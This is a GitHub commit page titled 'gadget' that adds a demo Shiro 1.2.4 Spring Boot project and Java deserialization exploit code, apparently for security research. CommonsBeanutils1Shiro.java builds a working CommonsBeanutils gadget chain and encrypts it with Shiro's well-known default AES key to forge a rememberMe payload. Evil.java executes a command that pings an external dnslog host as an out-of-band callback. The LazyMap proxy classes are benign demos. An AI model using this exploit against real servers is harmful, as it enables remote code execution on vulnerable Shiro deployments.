Skip to content

Commit 3d568e9

Browse files
SummerSecSummerSec
committed
gadget
1 parent 9c30c10 commit 3d568e9

File tree

8 files changed

+386
-19
lines changed

8 files changed

+386
-19
lines changed

‎shiro/shiro-cb/pom.xml‎

Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
3+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
4+
<modelVersion>4.0.0</modelVersion>
5+
<parent>
6+
<groupId>org.springframework.boot</groupId>
7+
<artifactId>spring-boot-starter-parent</artifactId>
8+
<version>2.5.1-SNAPSHOT</version>
9+
<relativePath/> <!-- lookup parent from repository -->
10+
</parent>
11+
<groupId>com.summersec</groupId>
12+
<artifactId>cb</artifactId>
13+
<version>0.0.1-SNAPSHOT</version>
14+
<name>cb</name>
15+
<description>Demo project for CommonsBeanutils In Shiro</description>
16+
<properties>
17+
<java.version>1.8</java.version>
18+
</properties>
19+
<dependencies>
20+
<dependency>
21+
<groupId>org.springframework.boot</groupId>
22+
<artifactId>spring-boot-starter-web</artifactId>
23+
</dependency>
24+
<dependency>
25+
<groupId>org.springframework.boot</groupId>
26+
<artifactId>spring-boot-starter-test</artifactId>
27+
<scope>test</scope>
28+
</dependency>
29+
<dependency>
30+
<groupId>org.javassist</groupId>
31+
<artifactId>javassist</artifactId>
32+
<version>3.27.0-GA</version>
33+
</dependency>
34+
<!-- <dependency>-->
35+
<!-- <groupId>commons-beanutils</groupId>-->
36+
<!-- <artifactId>commons-beanutils</artifactId>-->
37+
<!-- <version>1.9.2</version>-->
38+
<!-- </dependency>-->
39+
<dependency>
40+
<groupId>org.apache.shiro</groupId>
41+
<artifactId>shiro-spring</artifactId>
42+
<version>1.2.4</version>
43+
</dependency>
44+
<dependency>
45+
<groupId>org.apache.shiro</groupId>
46+
<artifactId>shiro-web</artifactId>
47+
<version>1.2.4</version>
48+
</dependency>
49+
</dependencies>
50+
51+
<build>
52+
<plugins>
53+
<plugin>
54+
<groupId>org.springframework.boot</groupId>
55+
<artifactId>spring-boot-maven-plugin</artifactId>
56+
</plugin>
57+
</plugins>
58+
</build>
59+
<repositories>
60+
<repository>
61+
<id>spring-milestones</id>
62+
<name>Spring Milestones</name>
63+
<url>https://repo.spring.io/milestone</url>
64+
<snapshots>
65+
<enabled>false</enabled>
66+
</snapshots>
67+
</repository>
68+
<repository>
69+
<id>spring-snapshots</id>
70+
<name>Spring Snapshots</name>
71+
<url>https://repo.spring.io/snapshot</url>
72+
<releases>
73+
<enabled>false</enabled>
74+
</releases>
75+
</repository>
76+
</repositories>
77+
<pluginRepositories>
78+
<pluginRepository>
79+
<id>spring-milestones</id>
80+
<name>Spring Milestones</name>
81+
<url>https://repo.spring.io/milestone</url>
82+
<snapshots>
83+
<enabled>false</enabled>
84+
</snapshots>
85+
</pluginRepository>
86+
<pluginRepository>
87+
<id>spring-snapshots</id>
88+
<name>Spring Snapshots</name>
89+
<url>https://repo.spring.io/snapshot</url>
90+
<releases>
91+
<enabled>false</enabled>
92+
</releases>
93+
</pluginRepository>
94+
</pluginRepositories>
95+
96+
</project>

‎shiro/shiro-cb/src/main/java/com/summersec/cb/LazyMap/ExampleApp.java‎

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
package com.summersec.cb.LazyMap;
2+
3+
import java.lang.reflect.InvocationHandler;
4+
import java.lang.reflect.Proxy;
5+
import java.util.HashMap;
6+
import java.util.Map;
7+
/**
8+
* @ClassName: ExampleApp
9+
* @Description: TODO
10+
* @Author: Summer
11+
* @Date: 2021/5/25 16:43
12+
* @Version: v1.0.0
13+
* @Description: Java动态代理
14+
**/
15+
16+
public class ExampleApp {
17+
public static void main(String[] args) throws Exception {
18+
InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
19+
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
20+
proxyMap.put("hello", "world");
21+
String result = (String) proxyMap.get("hello");
22+
System.out.println(result);
23+
}
24+
}

‎shiro/shiro-cb/src/main/java/com/summersec/cb/LazyMap/ExampleInvocationHandler.java‎

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
package com.summersec.cb.LazyMap;
2+
3+
import java.lang.reflect.InvocationHandler;
4+
import java.lang.reflect.Method;
5+
import java.util.Map;
6+
7+
/**
8+
* @ClassName: ExampleInvocationHandler
9+
* @Description: TODO
10+
* @Author: Summer
11+
* @Date: 2021/5/25 16:39
12+
* @Version: v1.0.0
13+
* @Description: 动态代理修改值
14+
**/
15+
public class ExampleInvocationHandler implements InvocationHandler {
16+
protected Map map;
17+
public ExampleInvocationHandler(Map map) {
18+
this.map = map;
19+
}
20+
// 修改hello对应的值
21+
@Override
22+
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
23+
if (method.getName().compareTo("get") == 0) {
24+
System.out.println("Hook method: " + method.getName());
25+
return "Hacked Object";
26+
}
27+
return method.invoke(this.map, args);
28+
}
29+
}

‎shiro/shiro-cb/src/main/java/com/summersec/cb/payload/CommonsBeanutils.java‎

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
package com.summersec.cb.payload;
2+
3+
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
4+
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
5+
import javassist.ClassPool;
6+
import org.apache.commons.beanutils.BeanComparator;
7+
8+
import java.io.ByteArrayInputStream;
9+
import java.io.ByteArrayOutputStream;
10+
import java.io.ObjectInputStream;
11+
import java.io.ObjectOutputStream;
12+
import java.lang.reflect.Field;
13+
import java.math.BigInteger;
14+
import java.util.PriorityQueue;
15+
16+
/**
17+
* @ClassName: CommonsBeanutils
18+
* @Description: TODO
19+
* @Author: Summer
20+
* @Date: 2021/5/23 10:36
21+
* @Version: v1.0.0
22+
* @Description:
23+
**/
24+
public class CommonsBeanutils {
25+
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
26+
Field field = obj.getClass().getDeclaredField(fieldName);
27+
field.setAccessible(true);
28+
field.set(obj, value);
29+
}
30+
31+
public static void main(String[] args) throws Exception {
32+
TemplatesImpl obj = new TemplatesImpl();
33+
setFieldValue(obj, "_bytecodes", new byte[][]{
34+
ClassPool.getDefault().get(Evil.class.getName()).toBytecode()
35+
});
36+
setFieldValue(obj, "_name", "HelloTemplatesImpl");
37+
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
38+
39+
final BeanComparator comparator = new BeanComparator();
40+
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
41+
// stub data for replacement later
42+
queue.add(1);
43+
queue.add(1);
44+
45+
setFieldValue(comparator, "property", "outputProperties");
46+
setFieldValue(queue, "queue", new Object[]{obj, obj});
47+
48+
ByteArrayOutputStream barr = new ByteArrayOutputStream();
49+
ObjectOutputStream oos = new ObjectOutputStream(barr);
50+
oos.writeObject(queue);
51+
oos.close();
52+
53+
System.out.println(barr);
54+
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
55+
Object o = (Object)ois.readObject();
56+
}
57+
}

‎shiro/shiro-cb/src/main/java/com/summersec/cb/payload/CommonsBeanutils1Shiro.java‎

Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
package com.summersec.cb.payload;
2+
3+
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
4+
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
5+
import org.apache.commons.beanutils.BeanComparator;
6+
7+
import java.io.ByteArrayOutputStream;
8+
import java.io.ObjectOutputStream;
9+
import java.lang.reflect.Field;
10+
import java.util.PriorityQueue;
11+
import javassist.ClassPool;
12+
import javassist.CtClass;
13+
import org.apache.logging.log4j.util.PropertySource;
14+
import org.apache.shiro.crypto.AesCipherService;
15+
import org.apache.shiro.util.ByteSource;
16+
17+
/**
18+
* @ClassName: CommonsBeanutils1Shiro
19+
* @Description: TODO
20+
* @Author: Summer
21+
* @Date: 2021/5/19 16:23
22+
* @Version: v1.0.0
23+
* @Description: 参考https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
24+
**/
25+
26+
27+
public class CommonsBeanutils1Shiro {
28+
29+
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
30+
Field field = obj.getClass().getDeclaredField(fieldName);
31+
field.setAccessible(true);
32+
field.set(obj, value);
33+
}
34+
35+
public byte[] getPayload(byte[] clazzBytes) throws Exception {
36+
TemplatesImpl obj = new TemplatesImpl();
37+
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
38+
setFieldValue(obj, "_name", "HelloTemplatesImpl");
39+
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
40+
PropertySource propertySource1 = new PropertySource() {
41+
@Override
42+
public int getPriority() {
43+
return 0;
44+
}
45+
};
46+
PropertySource propertySource2 = new PropertySource() {
47+
@Override
48+
public int getPriority() {
49+
return 0;
50+
}
51+
};
52+
53+
// final PropertySource propertySource = PropertySource.Comparator;
54+
55+
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
56+
// final BeanComparator comparator = new BeanComparator(null, new PropertySource.Comparator());
57+
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
58+
// stub data for replacement later
59+
queue.add("1");
60+
queue.add("1");
61+
// queue.add(propertySource1);
62+
// queue.add(propertySource2);
63+
64+
setFieldValue(comparator, "property", "outputProperties");
65+
setFieldValue(queue, "queue", new Object[]{obj, obj});
66+
67+
// ==================
68+
// 生成序列化字符串
69+
ByteArrayOutputStream barr = new ByteArrayOutputStream();
70+
ObjectOutputStream oos = new ObjectOutputStream(barr);
71+
oos.writeObject(queue);
72+
oos.close();
73+
74+
return barr.toByteArray();
75+
}
76+
77+
public static void main(String[] args) throws Exception {
78+
ClassPool pool = ClassPool.getDefault();
79+
CtClass clazz = pool.get(Evil.class.getName());
80+
// byte[] bytes = Evil.class.getName().getBytes();
81+
// byte[] payloads = new CommonsBeanutils1Shiro().getPayload(bytes);
82+
byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
83+
84+
AesCipherService aes = new AesCipherService();
85+
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
86+
87+
ByteSource ciphertext = aes.encrypt(payloads, key);
88+
System.out.printf(ciphertext.toString());
89+
}
90+
91+
}

‎shiro/shiro-cb/src/main/java/com/summersec/cb/payload/Evil.java‎

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
package com.summersec.cb.payload;
2+
3+
import com.sun.org.apache.xalan.internal.xsltc.DOM;
4+
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
5+
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
6+
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
7+
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
8+
/**
9+
* @ClassName: Evil
10+
* @Description: TODO
11+
* @Author: Summer
12+
* @Date: 2021/5/19 16:34
13+
* @Version: v1.0.0
14+
* @Description:
15+
**/
16+
17+
18+
public class Evil extends AbstractTranslet {
19+
@Override
20+
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
21+
22+
@Override
23+
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
24+
25+
public Evil() throws Exception {
26+
System.out.println("Hello TemplatesImpl");
27+
Runtime.getRuntime().exec("ping asdaqwe.6klua6.dnslog.cn");
28+
}
29+
}

0 commit comments

Comments
 (0)